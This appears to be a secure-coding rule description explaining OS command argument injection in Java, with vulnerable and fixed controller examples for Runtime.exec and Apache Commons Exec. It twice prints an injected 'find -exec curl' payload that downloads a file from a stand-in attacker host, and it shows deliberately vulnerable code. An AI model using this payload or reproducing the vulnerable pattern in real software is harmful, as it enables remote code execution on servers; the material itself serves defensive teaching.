Why is this an issue?
OS command argument injections occur when applications allow the execution of operating system commands from untrusted data but the untrusted data
is limited to the arguments.
It is not possible to directly inject arbitrary commands that compromise the underlying operating system, but the
behavior of the executed command still might be influenced in a way that allows to expand access, for example, execution of arbitrary commands. The
security of the application depends on the behavior of the application that is executed.
What is the potential impact?
An attacker exploiting an arguments injection vulnerability will be able to add arbitrary argument to a system binary call. Depending on the
command the parameters are added to, this might lead to arbitrary command execution.
The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges,
and therefore any OS commands or programs may be affected.
Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.
Denial of service and data leaks
In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.
An attacker could, for example:
- download the internal server’s data, most likely to sell it
- modify data, send malware
- stop services or exhaust resources (with fork bombs for example)
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).
Root privilege escalation and pivot
In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate
their privileges to an administrative level and attacks other servers.
Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised
by a combination of OS injections and misconfiguration of:
- Docker or Kubernetes clusters
- cloud services
- network firewalls and routing
- OS access control
How to fix it in Java SE
Code examples
The following code uses the find
command and expects the user to enter the name of a file to find on the system.
It is vulnerable to argument injection because untrusted data is inserted in the arguments of a process call without prior validation or
sanitization.
Here, the application ignores that a user-submitted parameter might contain special characters that will tamper with the expected
system command behavior.
In this particular case, an attacker might add arbitrary arguments to the find
command for malicious purposes. For example, the
following payload will download malicious software on the application’s hosting server.
-exec curl -o /var/www/html/ http://evil.example.org/malicious.php ;
Noncompliant code example
@Controller
public class ExampleController
{
@GetMapping(value = "/find")
public void find(@RequestParam("filename") String filename) throws IOException {
Runtime.getRuntime().exec("/usr/bin/find . -iname " + filename);
}
}
Compliant solution
@Controller
public class ExampleController
{
@GetMapping(value = "/find")
public void find(@RequestParam("filename") String filename) throws IOException {
String cmd1[] = new String[] {"/usr/bin/find", ".", "-iname", filename};
Process proc = Runtime.getRuntime().exec(cmd1); // Compliant
}
}
java.lang.Runtime is sometimes used over java.lang.ProcessBuilder due to ease of use. Flexibility in methods often introduces security issues as
edge cases are easily missed. The compliant solution logic is also applied to java.lang.ProcessBuilder.
How does this work?
Allowing users to insert data in operating system commands generally creates more problems than it solves.
Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our suggestion is to avoid
using OS commands in the first place.
Here java.lang.Runtime.exec(String[] cmdarray)
takes care of escaping the passed arguments and internally creates a single string
given to the operating system to be executed.
How to fix it in Apache Commons
Code examples
The following code uses the find
command and expects the user to enter the name of a file to find on the system.
It is vulnerable to argument injection because untrusted data is inserted in the arguments of a process call without prior validation or
sanitization.
Here, the application ignores that a user-submitted parameter might contain special characters that will tamper with the expected
system command behavior.
In this particular case, an attacker might add arbitrary arguments to the find
command for malicious purposes. For example, the
following payload will download malicious software on the application’s hosting server.
-exec curl -o /var/www/html/ http://evil.example.org/malicious.php ;
Noncompliant code example
@Controller
public class ExampleController
{
@GetMapping(value = "/find")
public void find(@RequestParam("filename") String filename) throws IOException {
CommandLine cmd = new CommandLine("/usr/bin/find . -iname " + filename);
}
}
Compliant solution
@Controller
public class ExampleController
{
@GetMapping(value = "/find")
public void find(@RequestParam("filename") String filename) throws IOException {
CommandLine cmd = new CommandLine("/usr/bin/find");
cmd.addArguments(new String[] {"/usr/bin/find", ".", "-iname", filename});
}
}
How does this work?
Allowing users to insert data in operating system commands generally creates more problems than it solves.
Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our suggestion is to avoid
using OS commands in the first place.
Here org.apache.commons.exec.CommandLine.addArguments(String[] addArguments)
takes care of escaping the passed arguments and
internally creates a single string given to the operating system to be executed.
Resources
Documentation
Standards